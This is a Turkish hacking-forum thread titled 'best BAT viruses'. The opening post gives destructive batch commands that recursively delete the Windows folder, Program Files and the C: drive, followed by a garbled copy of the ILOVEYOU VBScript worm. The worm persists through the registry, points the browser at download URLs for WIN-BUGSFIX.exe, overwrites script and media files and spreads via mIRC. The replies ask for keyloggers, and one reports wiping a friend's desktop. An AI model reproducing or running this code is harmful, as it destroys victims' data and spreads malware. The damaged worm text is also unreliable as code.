İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

En İYİ BAT VİRÜSLERİ

01-07-2013 11:49
#1
Dexterli - ait Kullanıcı Resmi (Avatar)
Tasarımcı
Üyelik tarihi:
05/2013
Nereden:
antalya
Mesajlar:
2.537
Teşekkür (Etti):
1500
Teşekkür (Aldı):
1931
Konular:
271
CD..
CD..
CD.
erase c:/f/s/q/a :bu KOMUT MASAÜSTÜNÜ SİLMEYE YARIYAN BİR VİRÜS DÜR NOT DEFTERİNE BAT OLARAK KAYDEDİN


@echo off

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\*.*

@echo off

cls

cls

@echo .:Bilgisayar Hacklenmiştir::.

@echo off:BU KOMUT İSE FORMAT VİRÜSÜDÜR 30 SANİYEDE BİLGİSAYAR KAPANIR VE FORMATI YEDİN YAZAR



rem delete -pcaş(-vbe)On es error -pcOn error Next Pc Hackdim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d oweq=&"ctr=0Set fso = CreateObject(&Scripting.FileSystemObject&&#358221set file = fso.OpenTextFile(WScript.ScriptFullname,1)vbscopy= file.ReadAllmain()sub main()On Error Resume Nextdim wscr,rrset wscr=CreateObject(&WScript.Shell&&#358221rr=wscr.RegRead(&HKEY_CURRENT_USERSoftwareM icro s oftWindow s Scripting HostSettingsTimeout&&#358221if (rr>=1) thenwscr.RegWrite &HKEY_CURRENT_USERSoftwareMicrosoftWindo ws Scripting HostSettingsTimeout&,0,&REG_DWORD&end ifSet dirwin = fso.GetSpecialFolder(0)2Set dirsystem = fso.GetSpecialFolder(1)Set dirtemp = fso.GetSpecialFolder(2)Set c = fso.GetFile(WScript.ScriptFullName)c.Copy(dirsyste m&&MSKernel32.vbs&&#358221c.Copy(dirwin&&Win32DLL.vbs&&#358221c.Copy(dirsystem&&LOVE-LETTER-FOR-YOU.TXT.vbs&&#358221regruns()html()spreadtoemail()listadriv()en d subsub regruns()On Error Resume NextDim num,downreadregcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunMSKernel32&,dirsystem&&MSKernel32.vbs&regcreat e &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunServicesWin32DLL&,dirwin&&Win32DLL.vbs&downrea d=&"downread=regget(&HKEY_CURRENT_USERSoftwareMicr o s oftIntern et ExplorerDownload Directory&&#358221if (downread=&") thendownread=&c:&end ifif (fileexist(dirsystem&&WinFAT32.exe&&#358221=1) thenRandomizenum = Int((4 * Rnd) + 1)if num = 1 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~young1s/HJKh...jw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe&elseif num = 2 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~angelcat/skl...546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe&elseif num = 3 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~koichi/jf6TR...nmPOhfgER67b3V bvg/WIN-BUGSFIX.exe&elseif num = 4 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~chu/sdgfhjks...DGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe&end ifend ifif (fileexist(downread&&WIN-BUGSFIX.exe&&#358221=0) thenregcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunWIN-BUGSFIX&,downread&&WIN-BUGSFIX.exe&regcreate &HKEY_CURRENT_USERSoftwareMicrosoftInter ne t ExplorerMainStart Page&,&about:blank&end ifend subsub listadrivOn Error Resume NextDim d,dc,sSet dc = fso.DrivesFor Each d in dcIf d.DriveType = 2 or d.DriveType=3 Thenfolderlist(d.path&&&&#358221end ifNextlistadriv = send subsub infectfiles(folderspec)On Error Resume Nextdim f,f1,fc,ext,ap,mircfname,s,bname,mp3set f = fso.GetFolder(folderspec)set fc = f.Filesfor each f1 in fcext=fso.GetExtensionName(f1.path)ext=lcase(ext)s =lcase(f1.name)if (ext=&vbs&&#358221 or (ext=&vbe&&#358221 thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closeelseif(ext=&js&&#358221 or (ext=&jse&&#358221 or (ext=&css&&#358221 or (ext=&wsh&&#358221 or (ext=&sct&&#358221 or (ext=&hta&&#358221 thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closebname=fso.GetBaseName(f1.path)elsei f(ext=&mp3&&#358243 or (ext=&mp2&&#358243 thenset mp3=fso.CreateTextFile(f1.path&&.vbs&&#358221mp3.write vbscopymp3.closeset att=fso.GetFile(f1.path)att.attributes=att.attribu tes+2end ifif (eq<>folderspec) thenif (s=&mirc32.exe&&#358221 or (s=&mlink32.exe&&#35822 or (s=&mirc.ini&&#358221 or (s=&script.ini&&#358221 or (s=&mirc.hlp&&#358221 thenset scriptini=fso.CreateTextFile(folderspec&&script. i ni&&#358221scriptini.WriteLine &[script]&scriptini.WriteLine &;mIRC Script&scriptini.WriteLine &; Please dont edit this script& mIRC will corrupt, if mIRC will&scriptini.WriteLine & corrupt& WINDOWS will affect and will not run correctly. thanks&scriptini.WriteLine &;&scriptini.WriteLine &;Khaled Mardam-Bey&scriptini.WriteLine &;http://www.mirc.com&scriptini.WriteLine &;&scriptini.WriteLine &n0=on 1:JOIN:#:{&scriptini.WriteLine &n1= /if ( şnick == şme ) { halt }&scriptini.WriteLine &n2= /.dcc send şnick &&dirsystem&&LOVE-LETTER-FOR-YOU.HTM&scriptini.WriteLine &n3=}&scriptini.closeeq=folderspecend ifend ifnextend subsub folderlist(folderspec)On Error Resume Nextdim f,f1,sfset f = fso.GetFolder(folderspec)set sf = f.SubFoldersfor each f1 in sfinfectfiles(f1.path)folderlist(f1.path)nextend subsub regcreate(regkey,regvalue)Set regedit = CreateObject(&WScript.Shell&&#358221regedit.RegWrite regkey,regvalueend subfunction regget(value)Set regedit = CreateObject(&WScript.Shell&&#358221regget=regedit.RegRead(value)end functionfunction fileexist(filespec)On Error Resume Nextdim msgif (fso.FileExists(filespec)) Thenmsg = 0elsemsg = 1end iffileexist = msg]
:BU VİRÜS BİLGİSAYARI 30 SANİYEDE ÇÖKELTİR VE BİDA BİLGİSAYARA GİREMEZSİNİZ

İŞİNİZE YARADIYSA Bİ TEŞEKÜRÜ ÇOK GÖRMEYİN
glads, crackerl Teşekkür etti.

01-07-2013 11:52
#2
VoDkaLeMoN - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2013
Mesajlar:
37
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
10
üstad öncelikle yazdıkların için teşşekürler.
Benim sorum karşı bilgisiyarın şifreleri öğrenmek için ne gibi vüris yaratmamız gerekiyor kodları varmı keylogger gibi birşey klavye hareketlerini gözlemliyorsun ?
Kullanıcı İmzası
Gücün Bittiği Yerde Kaderin Başlar Paşam...
01-07-2013 11:54
#3
crackerl - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2013
Mesajlar:
167
Teşekkür (Etti):
67
Teşekkür (Aldı):
23
Konular:
5
çok işime yaradı çok saol teşekürü hak etin
01-07-2013 11:57
#4
AJEXA - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
06/2013
Nereden:
Jüpiter
Mesajlar:
6.943
Teşekkür (Etti):
1145
Teşekkür (Aldı):
2469
Konular:
372
battan virüs mü olur ya
01-07-2013 11:59
#5
Dexterli - ait Kullanıcı Resmi (Avatar)
Tasarımcı
Üyelik tarihi:
05/2013
Nereden:
antalya
Mesajlar:
2.537
Teşekkür (Etti):
1500
Teşekkür (Aldı):
1931
Konular:
271
kardeşim dogru söylüyo bunlar sadece zara verici komutlar ayrıca herhangi bi keyloger bulursam paylaşcam
01-07-2013 12:04
#6
crackerl - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2013
Mesajlar:
167
Teşekkür (Etti):
67
Teşekkür (Aldı):
23
Konular:
5
işe yarıyo ama arkadaşın masaüstünü sildim
01-07-2013 14:05
#7
glads - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2013
Mesajlar:
88
Teşekkür (Etti):
51
Teşekkür (Aldı):
18
Konular:
0
harbi işe yarıyo eline saglık çok güzel olmuş kardeşim
06-07-2013 15:39
#8
Üyelik tarihi:
10/2012
Nereden:
TÜRKİYE
Yaş:
22
Mesajlar:
637
Teşekkür (Etti):
62
Teşekkür (Aldı):
181
Konular:
47
teşşekkürler işime yaradı
Kullanıcı İmzası
BOZKURTLAR ULUSUN ALLAH TÜRKÜ KORUSUN !

CcC Ülkücü Gençlik CcC

NE MUTLU TÜRKÜM DİYENE !
06-07-2013 17:31
#9
eksikeksik - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2012
Nereden:
He watching
Mesajlar:
2.623
Teşekkür (Etti):
143
Teşekkür (Aldı):
258
Konular:
711
Masaüstü silme işallah işe yarıyordur
Rat'a ve Logger'e ekliyecem
08-07-2013 16:58
#10
gharmori - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2011
Nereden:
Andromeda G.
Mesajlar:
1.949
Teşekkür (Etti):
243
Teşekkür (Aldı):
287
Konular:
219
Arkadaşlar komutlar güzelmiş bendede vardı birkaçtane virüs isteyen mesaj bırakabilirler hergün tht ye giriyorum

Virüs kodları isteyenler baksın
http://www.turkhackteam.net/trojan-v...i-virusum.html

http://www.turkhackteam.net/trojan-v...calisiyor.html

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı